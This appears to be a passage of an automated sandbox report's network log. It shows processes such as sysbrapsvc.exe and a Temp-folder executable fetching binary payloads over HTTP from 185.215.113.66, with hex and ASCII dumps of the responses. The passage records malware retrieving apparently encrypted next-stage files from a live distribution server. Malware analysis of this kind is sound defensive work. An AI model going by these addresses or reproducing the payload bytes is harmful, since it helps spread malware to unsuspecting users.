May 8, 2024 15:25:26.245050907 CEST	1289	IN	Data Raw: 3e b9 6e 66 f4 fb b3 e5 57 91 84 03 4d 3c 75 8e d7 b8 2f 54 26 be a9 d1 85 0b 7e d0 0a 77 d7 05 f5 56 ae ed ef 4e de 31 b6 25 1c e8 ca be e4 f9 b8 c4 c6 5f d6 09 b9 e9 43 fa 6f 7e 6e 7e b7 96 64 d5 3c 37 b6 f3 c8 ac fe 60 12 77 27 ea 10 ec 4a 1f Data Ascii: >nfWM<u/T&~wVN1%_Co~n~d<7`w'JCyKx-WO)fZ<eSz1WZoE2}-S:O:yQzt{Dx/Y0_eP#81n]FaBZx4hY4PE~Z#/kdXf
May 8, 2024 15:25:26.584974051 CEST	1289	IN	Data Raw: 8b b3 71 d9 c8 da 74 f5 6d 13 ab 82 5f 0f d7 2a 75 8b dd 33 63 1c b2 7d 94 1e 26 53 ac e2 1f 13 96 62 30 be f6 91 83 88 02 53 ab 64 26 46 78 9c 5f 55 53 4e e7 85 20 bf 19 62 c8 f4 73 7a 7b f7 95 a5 e0 a7 b3 5f af 93 4b f8 e5 09 51 e9 cb 5b 41 72 Data Ascii: qtm_u3c}&Sb0Sd&Fx_USN bsz{_KQ[Ary#<Fc)aH\|!9*kjj?1~_Lc_>c\{LY#w^1d1?2jl&.ln)(An%e{Bj<q=+nG)=W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49786	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:28.607213974 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:28.948611975 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:28 GMT Content-Type: application/octet-stream Content-Length: 15104 Last-Modified: Wed, 24 Apr 2024 23:21:57 GMT Connection: keep-alive ETag: "66299415-3b00" Accept-Ranges: bytes Data Raw: 4b e8 23 1d 0c 94 79 42 1c 1c 48 97 49 7a 96 f6 a9 d0 37 98 4e 18 a4 bf cd f5 ce 8d 00 4d 6c f6 9f 43 ea c4 50 f3 99 cb 6f 7f 29 ac 33 c1 1e 12 8e 34 8d 95 a7 ea 7c 62 91 62 10 61 f3 ab d4 6a b1 0a 3d 8c 22 70 e0 78 c2 05 ad 0c 8b 93 0b 61 d5 48 27 b5 a2 b1 76 88 94 ff 6e a7 e9 f4 c7 c3 48 3f d7 cf bd f1 a2 8e e1 3f ec 46 4f c8 b8 9d ea b3 ae d7 87 06 73 47 a9 ac 62 e9 fd b0 18 6e 84 ec 0c cc 82 c3 0f 82 5b 02 ec 9d e4 64 88 4f 2c 46 10 a4 dd 63 b7 a7 cf 5a b0 db fe 14 f8 fc 55 50 cc 7c 1d 98 b3 60 c0 ab 71 f8 25 3c 61 53 64 a0 d3 ce 2f 05 a7 f8 76 5a 2c 96 b3 67 78 59 67 17 11 7c b1 fe e0 a8 92 e8 4c 1f 74 26 fa 7b a2 02 92 bd ec 3d 08 ec f4 72 ef a3 d5 25 9e 4d 8d f4 d4 47 a5 08 6f c7 c5 f9 ab c6 e4 bc 48 81 e4 5d 23 c3 79 7c 8c fc ca 58 d2 4c 8c 18 bd e7 fe 22 4a b2 30 ad 4c 30 bd 90 e0 18 d2 77 c0 4a b1 c5 9d 03 c5 97 f3 e7 2d 46 d9 ae 13 86 5f 69 ce 8e 09 a4 95 a5 45 bb 82 e4 74 81 eb d2 3a a2 a1 37 25 c3 bc bd 85 b2 3c 84 47 5f 0e a3 fc ac d5 4b 82 de 1e ec fd 0e df 86 a8 6e 37 43 21 0d cf 8d [TRUNCATED] Data Ascii: K#yBHIz7NMlCPo)34\|bbaj="pxaH'vnH??FOsGbn[dO,FcZUP\|`q%<aSd/vZ,gxYg\|Lt&{=r%MGoH]#y\|XL"J0L0wJ-F_iEt:7%<G_Kn7C!XY={GRsw!0l0[!^irP:X$B(<:&axtQL[y<1:8cJi{Cw)Vx&`[gFkW?(5pnH$~vL%i_oZ4S~R6.0i[y ?JD!sn9a:z^Ee'4G~ULV<`9o8X'.63dd4kiZY!IvK<iH6HmMU>}L&0d{R!A7RZi(";b%Y.0#J2@Bs:g@h{^G<[Y/x6seZ8etZ=N.O`-,STepH7[:wf4kE5)Mm{:<tW;?U`y.E0nk(D}=OLX9i,,a~pYZA/ qD_T.> [TRUNCATED]
May 8, 2024 15:25:28.948753119 CEST	1289	IN	Data Raw: b9 ec 48 5b bc 5c c5 cc 74 49 24 c8 79 28 87 7d 84 00 80 4b 76 48 a4 b5 c0 ff 47 f3 67 e3 7b 80 0f 8a 5f 14 81 b8 50 87 65 ef 85 cb 83 a1 8e f8 3c 60 82 4a 42 41 ed f5 9c d7 f1 6d 7a f0 c4 f6 40 ab 1b b9 0b a9 9f 8f 86 18 c8 d5 0d da 24 be 61 cd Data Ascii: H[\tI$y(}KvHGg{_Pe<`JBAmz@$a3/rB"SGAiD5#kK3"ZKD*6O(!nYA@2o<~&$PeX9As_q\|0GRl'fB3CxjHgxQ\|
May 8, 2024 15:25:28.948767900 CEST	1289	IN	Data Raw: 45 42 8e 2f e3 a5 18 82 da 03 3a a4 b5 2d a1 cc 37 03 69 95 7d 8f 7b 54 01 71 8e c4 3c 1f 9c 2b ad 07 75 d3 bc 03 00 7d 31 8d c5 42 72 2d 6e 86 18 0e 56 a1 80 c2 b6 5e de 4b 38 06 74 de 9d 2e 9f 49 8a 79 ba 55 46 49 9b d6 40 be 1d a1 f4 bd 0f 33 Data Ascii: EB/:-7i}{Tq<+u}1Br-nV^K8t.IyUFI@39^+8"B;cr+=T]*:~uf+]tg]}>F.ez_4:6Mt9Lm`9xtIqMf@&/\|F"PM__SEy`f'`.,c#%
May 8, 2024 15:25:28.948884010 CEST	1289	IN	Data Raw: da 8a 40 49 4a f5 3a 1a df 96 c3 5f 0b 5a fc fe 03 4c f2 79 5f f5 de 80 39 49 a1 18 82 83 a3 40 51 3b 3c fe 6c 6c 94 0c b1 5b bc 8b ed d1 7c 5e c4 2e 4e 83 35 ee 93 1e 6d f3 28 c0 26 4d 8e 20 52 43 de 37 80 2d 91 55 16 b0 af ab 19 02 2f 81 e9 0b Data Ascii: @IJ:_ZLy_9I@Q;<ll[\|^.N5m(&M RC7-U/VgtXt@<d5YK9G_2T.DsTzyH9H<">e6G{R9NzGGtjLT?+&5Ovx[~UY2&Q'de+RB
May 8, 2024 15:25:28.948956013 CEST	1289	IN	Data Raw: 01 e6 18 ad 0b 22 41 6b 9e 7f 93 1a ff da a3 28 22 08 4f 91 02 a2 0e 21 66 5b a8 47 fe a7 74 30 ea 1c 20 8a e3 83 e5 7a 80 18 1d cc 7e 49 21 86 2a 3c 44 43 ea fd 59 98 ca e1 d0 8f b5 75 78 82 8a e2 00 e7 c3 4f c9 1d f5 00 9e 8f 84 bb b8 d7 09 78 Data Ascii: "Ak("O!f[Gt0 z~I!*<DCYuxOx+raM"/t\|^0R)P?r\4=fPv59B?CYfFD9BXP?f=.<b9zjQ]N@0~wz)<;Nxh]lZxAA
May 8, 2024 15:25:28.949280977 CEST	1289	IN	Data Raw: 04 9d 4a 4c 14 24 26 c4 de 87 af 70 f7 9a db c5 37 e1 99 d6 4d 49 6e 3c ca 13 32 ce 4f c8 3d cf 9c 75 f7 39 33 ae d0 e9 2e c3 c1 27 ec 8c 48 eb bc fa 18 f5 35 d4 8d 03 53 8f b5 de 92 1f 06 92 3e 7e 86 5d b9 d8 56 a2 d8 bb 5b a8 f8 24 7c e8 af 89 Data Ascii: JL$&p7MIn<2O=u93.'H5S>~]V[$\|lHU\9UT4,pE.>xUP]&[M8umLoyUv!n<oQ(qsOLTrEkoQ6["xYN*o]82[[]hQk
May 8, 2024 15:25:28.949350119 CEST	1289	IN	Data Raw: 63 4e a9 de 95 aa 2e 7f d9 b7 ec cb 22 f6 3a f9 a9 fd 09 ba af 7a 20 26 53 5c 56 ab b4 12 a3 a3 13 92 a9 a3 b3 b7 88 24 91 fe af b7 4d 6d aa 49 bb 3b db 05 4d dd c1 9a 06 78 f9 2e 80 c3 fd ee c7 0c 12 d1 35 c3 90 49 c3 62 9c f8 2e db 66 5b 23 36 Data Ascii: cN.":z &S\V$MmI;Mx.5Ib.f[#6uSmlBs'T,n{77=gQGvZg}_Tvr_TQ.m@e%1h&UsK{d$kd@BX=j,Txx.Fu)l7HG
May 8, 2024 15:25:28.949364901 CEST	1289	IN	Data Raw: a7 43 34 40 b4 d0 9d 08 a3 50 0a b7 0e 8f 75 5d a1 9d 97 cc 78 60 14 aa 50 49 87 5f 7b ea 4a 4a 04 07 48 74 6f ee a8 f8 7c 95 fb f1 67 17 5a f6 d7 f5 3c 71 da 95 45 63 ef 40 7e 70 a5 c3 5a 0f a0 c5 39 33 03 56 c5 72 f4 e3 ed 18 af cd ae e2 05 fd Data Ascii: C4@Pu]x`PI_{JJHto\|gZ<qEc@~pZ93VrYdDP`<,8TV9qE3aiz840,pNjh,i!QNyWIqg6<H]DF-wT? g
May 8, 2024 15:25:28.949412107 CEST	1289	IN	Data Raw: 8b dc 5d b4 f4 ef ae e9 8f 3d df c4 73 4c a2 43 f5 40 dd b9 c2 9e 4a ef a7 94 46 22 7e eb 9d 07 ef 56 a2 0a 91 2a 3e 19 b0 aa 70 43 27 d6 6e 17 0b 09 a8 fe 7c d8 2b 9f 53 96 84 d4 0e ff 47 5f e5 8b f2 de 76 6c 7c 3f fb 84 77 de 16 ea 81 5a 2f 57 Data Ascii: ]=sLC@JF"~V*>pC'n\|+SG_vl\|?wZ/W>4I(yCg(,)=w6w{lN_D.p{_lt^cp\M?qk$^PRs+J{9{9Tx'0(an_
May 8, 2024 15:25:28.949429989 CEST	1289	IN	Data Raw: 9c f1 66 6e 7b 16 a8 3b cc a9 0c 47 ce e3 93 fd d1 ce 45 51 15 64 a0 9f 8d ee ce b2 f9 a1 2c 7b 24 b5 56 8e 26 03 64 c2 be d2 53 99 5a 89 1a eb 71 e6 8a 6a 4f dd 8a 5f 29 06 34 ae 10 9a 0f b5 2e 71 77 d3 bd 50 59 e2 bf c7 0b ed 0a b9 b6 f0 38 8f Data Ascii: fn{;GEQd,{$V&dSZqjO_)4.qwPY8ZW>j!3 W^aOWAnI90?R+CYwUMvW\u{ZRJXKY'vf?7%D/TH1v:R>$OB%6G"
May 8, 2024 15:25:29.292471886 CEST	1289	IN	Data Raw: cf 2f 9f 00 d6 88 6b aa cc 3c bf 1b 58 09 08 29 f2 9e 1b 4d 03 db b7 da cf 87 ba 63 2d fa 4e 97 8f 36 8e 87 c4 b1 7d 60 4d 1d 39 a5 82 8c 33 69 c1 01 64 ae f2 cc 7e 7b f5 97 a0 ce 47 0a 40 4c 55 28 fa 7a 7e a6 5d ab 44 20 19 20 11 0a 99 8e c4 a8 Data Ascii: /k<X)Mc-N6}`M93id~{G@LU(z~]D F r3F4`e)[T!#~SK*\|hr+hkvoHY=3+et8-}zg[u1!y\EpE(Ou3zC:]baAzaWk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49787	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:31.327326059 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:31.669333935 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:31 GMT Content-Type: application/octet-stream Content-Length: 81928 Last-Modified: Wed, 24 Apr 2024 23:29:53 GMT Connection: keep-alive ETag: "662995f1-14008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 f7 01 b2 60 0c 25 58 36 49 b9 34 23 91 28 4e 72 ab 02 06 2a ee b3 46 54 3e 3a 68 4e 47 4a 0c 37 91 b7 a4 1b 38 a1 9a e0 b0 c4 fe 21 20 44 58 a6 82 6d cd 53 58 f1 3b ac 19 89 a1 3d 8b 90 83 b4 71 ef eb 13 7a 28 73 20 51 f4 00 23 77 f7 2b 57 60 82 4a 56 6a 86 65 65 f4 3b 70 d7 7e e1 94 a3 80 aa 9f 61 33 fa c2 5f 90 b0 88 84 2c b5 14 92 38 68 0a 3a f6 a8 e8 70 3c 63 fa 87 27 43 2b f1 17 2e 48 bc 40 39 94 d5 09 2e 37 61 67 27 e3 d9 d7 11 b1 73 b6 44 ee a1 48 67 ce 3b 0d 47 de 6c 49 99 78 8e 32 06 7e cb 06 99 e2 8b b5 22 65 91 47 ca 9b f4 f8 70 e1 34 32 30 ab 66 24 ff 18 2d 2a ab a4 8e 3e 8f 4e 6f f9 37 ff 23 0c bf fa 23 74 76 8a c0 5b 91 ba 64 3c ba 64 84 a9 8a 05 47 f3 ae 16 c6 d5 ac f8 f2 e3 22 12 89 76 35 e9 23 19 da 63 c6 f6 7c eb 00 02 5d a9 90 93 72 c1 57 89 70 e8 c7 c7 ff 7e f7 25 72 e0 5b 68 5a 13 5f db 38 e3 e0 b0 df b4 6c f2 6c 3f 6c 32 2c 82 bf c0 0e 20 00 01 74 e7 94 6e d0 d7 31 4b fa 19 92 fa 71 85 57 70 41 0d c0 65 20 72 73 20 94 9c e7 af b6 92 a0 3f 21 39 04 9a db [TRUNCATED] Data Ascii: NGS!`%X6I4#(NrFT>:hNGJ78! DXmSX;=qz(s Q#w+W`JVjee;p~a3_,8h:p<c'C+.H@9.7ag'sDHg;GlIx2~"eGp420f$->No7##tv[d<dG"v5#c\|]rWp~%r[hZ_8ll?l2, tn1KqWpAe rs ?!9s,i}G:x} M]:wTU+v@V-7m+j!LqmJmVHiYHq[JG1j\Z+J2[?#fzYV"9(UWIJ's-OW`o0pmRVaj;wm57iWysesZ5{(\|+tDo>DQbd.W}@^=w%}C?2EN4jfi/kOppZ6I$aJ_/028M*J0y!=g[v]c@9d^H2~l(pc-'7JagPYP.mt&/btva}gfu;'Z~[Vn~5RkM@q/:=`:G^'CT<Czv`b=/>&-U\|pjM,/fWO4]9D-\F'bOQW`6sb_ [TRUNCATED]
May 8, 2024 15:25:31.669538975 CEST	1289	IN	Data Raw: 28 55 b0 14 8d 25 75 01 4e 4d c0 61 ac 41 b4 b2 02 db 28 1b 34 b9 e4 3d 5a ba a7 41 58 c9 72 51 09 58 06 57 a5 6a 1d a6 dc db 3c 54 91 a4 f0 53 ee c7 b4 4c 31 29 c9 3b 7d 28 06 68 a2 46 ea 8f 96 45 61 a0 bd ec 9d 9e b3 9f b9 6f db 99 91 9e cc ab Data Ascii: (U%uNMaA(4=ZAXrQXWj<TSL1);}(hFEao@@s3poh[Z6~E7Y\YdQ87$>/v2/'jIA*i$ZtBa4PdG5KQ^(,q{:)CYd;}U:
May 8, 2024 15:25:31.669554949 CEST	1289	IN	Data Raw: 73 80 0b b2 b8 b4 ed b4 ec 6c 6e 29 64 94 41 b8 c2 5b fe a0 26 a2 02 7f 86 2b d0 b5 9d 1b c4 eb 99 d1 84 a5 c4 9b e4 4a 3f ae 54 38 64 fd 73 7b bc b0 b7 f7 35 22 98 66 d9 e0 9c 2c 14 4c 63 dd 51 30 2a 35 e5 bd c5 71 38 09 82 3b 49 c8 cb 06 d7 be Data Ascii: sln)dA[&+J?T8ds{5"f,LcQ0*5q8;IW5F_E,`uvybARUBv@5:{sU~wLFy~I3z?>Twh,GY(@5D?39wne5Fud!Ji
May 8, 2024 15:25:31.669569016 CEST	1289	IN	Data Raw: c4 bb 2d ef 3e bc d7 cf 85 b5 61 42 c9 31 64 7b 11 00 a5 c9 ec bc 34 06 66 4e 0f 74 8f 73 02 53 34 4b 68 9c c2 bc c8 87 b4 4d 97 89 8e b7 7d ce 64 8b 08 fe a7 b9 04 ca a1 ad e8 0e 46 11 2f 0b 88 83 36 8f a2 c3 5b d6 10 ae bb 3d d8 38 cf 91 4f ed Data Ascii: ->aB1d{4fNtsS4KhM}dF/6[=8O^b$/lb8nfD;AzN=O'F+~gV#q((%d]d!E)xJ:.Ku[_ofLVQiGA*x
May 8, 2024 15:25:31.669584990 CEST	1289	IN	Data Raw: 47 61 a6 d7 8b e2 18 06 d4 a0 0f 77 f1 a8 b0 18 f4 e7 aa e1 f4 10 d3 6c 24 a6 92 4a 95 43 61 2d 33 b6 ea 6c 67 db 6c f1 95 8b c3 ca 0a d3 82 4b 20 b2 2c 8a 71 ed 28 57 22 b0 3e cf fd 51 37 9e 01 db db 71 df 58 6e e1 04 c1 79 7e b7 1d e7 32 64 68 Data Ascii: Gawl$JCa-3lglK ,q(W">Q7qXny~2dhr.1N5dN]YIZ]svq\|1bT0T2L>Kk`]H4X"kD/e6o[&/RcKT_N`MGmtocl;-EH-t JbB
May 8, 2024 15:25:31.669599056 CEST	1289	IN	Data Raw: 19 15 22 5a d7 57 6d 08 b4 ae a5 2d 9c 05 b2 e7 76 a1 88 d8 95 a0 92 12 78 8c 9e 84 bb 25 c3 0e ea 62 c0 e8 67 46 ce f2 85 e2 86 aa 56 e3 03 22 c9 e8 1c d4 fd 1d f3 66 d5 d2 6e a9 8f db d2 fb 8e 6c 5a 7c e2 ea 43 e3 75 e5 ab 3a 6b 8b 08 76 b5 e4 Data Ascii: "ZWm-vx%bgFV"fnlZ\|Cu:kvG\Cd!9s$Wvbc{Lz4p%+2&m=J LE9Kl64H"~c/`J'tSy
May 8, 2024 15:25:31.669616938 CEST	1289	IN	Data Raw: cf ac a7 be eb 73 e4 d3 ed 5b 03 72 0a 74 77 67 b8 06 90 b3 68 26 cd 09 26 77 da e1 de 04 4a 31 c4 2a f5 4e d0 17 74 d1 64 56 8a 35 52 8e a2 c2 49 84 cb d5 ba 8a de 29 c8 64 33 1d ea 1f 9d 54 a4 dc a7 44 ad 90 58 ad 3d ed d8 e9 11 8b bf 96 37 2b Data Ascii: s[rtwgh&&wJ1NtdV5RI)d3TDX=7+_TDxdMT&J&XhG0{lwY]u</08I}F?yJxis}{2?FqiI]'Vv0KK'C_`B/E$=k5\$8
May 8, 2024 15:25:31.669632912 CEST	1289	IN	Data Raw: 18 ea 62 90 fb d4 85 d0 ad 0c ca 89 b2 53 60 05 7d 76 96 c6 1b 11 21 ee b4 7a fb 80 51 ed f3 ab 53 d4 03 87 1e e5 51 de b5 72 0c 29 40 27 ef fe 36 61 96 0b 02 9b d9 49 77 04 7e 0b be 98 bd b5 4e 86 ad 27 41 28 99 57 26 9d c5 79 01 3f 69 69 0b 0e Data Ascii: bS`}v!zQSQr)@'6aIw~N'A(W&y?iiz$X2Wq&44o#H<uwV5pWv;}]rxsi3}'/_:4!0EUD7H\l9B-uLr3%3)"iKYw_3b1!]/
May 8, 2024 15:25:31.669647932 CEST	1289	IN	Data Raw: 98 f8 17 51 a5 46 a9 06 8f 70 7e d1 56 4e 09 36 93 48 63 2d e4 5e 59 fe 7f d8 01 fc 73 11 04 eb 66 af 5f 05 e8 fa 5e 30 56 18 e8 12 c0 d7 0f 05 48 45 9f 97 4f b9 c8 ba a5 74 d5 06 3f 27 fd 27 2d af 17 cb 93 d8 14 f2 53 f2 fa 4e 30 b9 7c 59 d9 07 Data Ascii: QFp~VN6Hc-^Ysf_^0VHEOt?''-SN0\|Ye"I@/&'pz251my 50Ki8HP38FG^ZOEV-sOSBSp1@JlgTJrJg6gGwE\Wg
May 8, 2024 15:25:31.669668913 CEST	1289	IN	Data Raw: 41 d9 38 85 ee da 1f 10 58 78 ef c3 e6 5f 03 31 de e6 ca fb a1 25 b6 07 9d 1b b2 31 a6 4b f2 95 cf 45 5a 45 f9 ea 7f ba c1 4d b7 5b d9 ed 98 aa 58 ac f9 58 2c a7 8c 2a c0 64 76 05 f9 ea 6b 0c 6e a7 cc 9f 95 3a 5f 91 fe 5f 03 e9 99 02 db a3 ae cd Data Ascii: A8Xx_1%1KEZEM[XX,*dvkn:__p:2@{<@W^Y9UaKJ}_{J5J=N2)kF zXlyd}72iZbEkzf2<Meo9"fbuDgI:65+Zn(ylM
May 8, 2024 15:25:32.009761095 CEST	1289	IN	Data Raw: 04 f1 04 68 70 6d 25 a5 24 64 db 9c 1f 55 9b bb d5 7d 93 b6 b0 59 82 37 48 16 39 7d 95 ba d9 9a 0c e1 8a 9d ec 79 73 e1 b9 9e 01 ac 65 4e 76 07 47 59 6c eb 1a d5 8b f7 6c ba 2b bc 78 f5 54 f8 96 58 43 5d af 42 06 be 91 8b 5c d1 3e 11 89 bf 48 2b Data Ascii: hpm%$dU}Y7H9}yseNvGYll+xTXC]B\>H+8Y?vROQT$O<8c8]>!nxQt1K=Tm`loww?#@!C9/WHO+Rnym:\|5`Dd{K/(Y?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49788	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:33.861295938 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:34.201303959 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:34 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Wed, 08 May 2024 11:35:13 GMT Connection: keep-alive ETag: "663b6371-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:25:34.201319933 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:25:34.201459885 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:25:34.201494932 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:25:34.201590061 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:25:34.201602936 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:25:34.201617002 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:25:34.201632023 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49789	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:34.043001890 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
